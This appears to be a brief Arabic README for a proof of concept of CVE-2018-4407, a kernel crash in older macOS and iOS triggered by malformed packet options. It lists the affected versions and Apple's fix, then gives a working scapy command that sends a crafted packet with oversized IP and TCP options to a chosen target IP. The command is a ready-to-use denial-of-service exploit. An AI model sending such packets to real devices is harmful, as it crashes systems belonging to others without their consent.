check_icmp_dos-CVE-2018-4407-

المبدأ

المبدأ هو جعل الحقول الأخرى لحزمة "ICMP" غير قانونية، مما يؤدي إلى تعطل النواة في macOS أو iPhone لأنها لا تتحقق من الحجم أثناء التحليل.

الأجهزة المتأثرة

1. Apple iOS 11 والإصدارات الأقدم: جميع الأجهزة

2. Apple macOS High Sierra (أعلى إصدار متأثر 10.13.6): جميع الأجهزة

3. Apple macOS Sierra (أعلى إصدار متأثر 10.12.6): جميع الأجهزة

4. Apple OS X El Capitan والإصدارات الأقدم: جميع الأجهزة

قامت شركة Apple بإصلاح هذه الثغرة بالكامل في حزمة التحديث "iOS 12.1" التي تم إصدارها في 30 أكتوبر.

الكود الأساسي

pip install scapy
sudo scapy send(IP(dst="Target IP",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

روابط

شرح بالصينية
شرح بالإنجليزية